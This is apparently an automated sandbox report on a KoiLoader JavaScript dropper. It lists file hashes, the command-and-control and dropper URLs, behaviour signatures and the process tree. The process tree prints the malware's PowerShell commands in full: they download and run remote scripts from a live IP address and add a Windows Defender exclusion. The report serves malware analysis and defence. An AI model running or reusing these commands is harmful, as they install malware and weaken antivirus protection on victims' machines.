Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/01/2025, 03:09

General

  • Target

    a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js

  • Size

    1KB

  • MD5

    efcc96851f4724909616b5f3ec81cf79

  • SHA1

    783d14e21e058733ef6cc6ca1e934bcf2533d134

  • SHA256

    a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

  • SHA512

    c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:508
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3684
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3920
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
    1⤵
      PID:1960
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
      1⤵
        PID:4420
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
        1⤵
          PID:1984

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js

          Filesize

          1KB

          MD5

          efcc96851f4724909616b5f3ec81cf79

          SHA1

          783d14e21e058733ef6cc6ca1e934bcf2533d134

          SHA256

          a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

          SHA512

          c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          12afd663b3868c800c1003997ffe2d07

          SHA1

          edf4f6f003cda925ccca9b1ab9d87b49fe2d7094

          SHA256

          cc1ef52f658e2bbc71c534547e1a51a9d6ba2b64634f55254939508b9b0e5a45

          SHA512

          63c5447b6d01f0f3eca62fe0eea8d5e39ed1c1b1d1056944ca67da40518079afe2bfb5d876845f97131faea263def66631ea68795f99cc4e982e3564c91149c6

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlbqai2r.45p.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/508-18-0x0000000006050000-0x00000000063A4000-memory.dmp

          Filesize

          3.3MB

        • memory/508-24-0x0000000008410000-0x0000000008411000-memory.dmp

          Filesize

          4KB

        • memory/508-7-0x0000000005EB0000-0x0000000005F16000-memory.dmp

          Filesize

          408KB

        • memory/508-8-0x0000000005F20000-0x0000000005F86000-memory.dmp

          Filesize

          408KB

        • memory/508-5-0x0000000074690000-0x0000000074E40000-memory.dmp

          Filesize

          7.7MB

        • memory/508-1-0x000000007469E000-0x000000007469F000-memory.dmp

          Filesize

          4KB

        • memory/508-19-0x0000000006680000-0x000000000669E000-memory.dmp

          Filesize

          120KB

        • memory/508-20-0x00000000066C0000-0x000000000670C000-memory.dmp

          Filesize

          304KB

        • memory/508-21-0x0000000006A60000-0x0000000006A7A000-memory.dmp

          Filesize

          104KB

        • memory/508-22-0x0000000007CF0000-0x000000000836A000-memory.dmp

          Filesize

          6.5MB

        • memory/508-23-0x0000000074690000-0x0000000074E40000-memory.dmp

          Filesize

          7.7MB

        • memory/508-66-0x0000000074690000-0x0000000074E40000-memory.dmp

          Filesize

          7.7MB

        • memory/508-25-0x0000000074690000-0x0000000074E40000-memory.dmp

          Filesize

          7.7MB

        • memory/508-26-0x00000000084B0000-0x00000000084BD000-memory.dmp

          Filesize

          52KB

        • memory/508-4-0x0000000074690000-0x0000000074E40000-memory.dmp

          Filesize

          7.7MB

        • memory/508-2-0x0000000002D70000-0x0000000002DA6000-memory.dmp

          Filesize

          216KB

        • memory/508-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

          Filesize

          6.2MB

        • memory/508-6-0x0000000005E10000-0x0000000005E32000-memory.dmp

          Filesize

          136KB

        • memory/508-65-0x000000007469E000-0x000000007469F000-memory.dmp

          Filesize

          4KB

        • memory/3684-76-0x00000000086B0000-0x0000000008700000-memory.dmp

          Filesize

          320KB

        • memory/3684-75-0x0000000008600000-0x000000000861A000-memory.dmp

          Filesize

          104KB

        • memory/3684-74-0x0000000008B70000-0x0000000009114000-memory.dmp

          Filesize

          5.6MB

        • memory/3684-77-0x00000000087A0000-0x0000000008832000-memory.dmp

          Filesize

          584KB

        • memory/3684-73-0x00000000084B0000-0x00000000084D2000-memory.dmp

          Filesize

          136KB

        • memory/3920-51-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

          Filesize

          120KB

        • memory/3920-68-0x0000000007070000-0x0000000007084000-memory.dmp

          Filesize

          80KB

        • memory/3920-69-0x0000000007170000-0x000000000718A000-memory.dmp

          Filesize

          104KB

        • memory/3920-70-0x0000000007150000-0x0000000007158000-memory.dmp

          Filesize

          32KB

        • memory/3920-67-0x0000000007060000-0x000000000706E000-memory.dmp

          Filesize

          56KB

        • memory/3920-64-0x0000000007030000-0x0000000007041000-memory.dmp

          Filesize

          68KB

        • memory/3920-63-0x00000000070B0000-0x0000000007146000-memory.dmp

          Filesize

          600KB

        • memory/3920-53-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

          Filesize

          40KB

        • memory/3920-52-0x0000000006CF0000-0x0000000006D93000-memory.dmp

          Filesize

          652KB

        • memory/3920-41-0x00000000704B0000-0x00000000704FC000-memory.dmp

          Filesize

          304KB

        • memory/3920-40-0x0000000006A80000-0x0000000006AB2000-memory.dmp

          Filesize

          200KB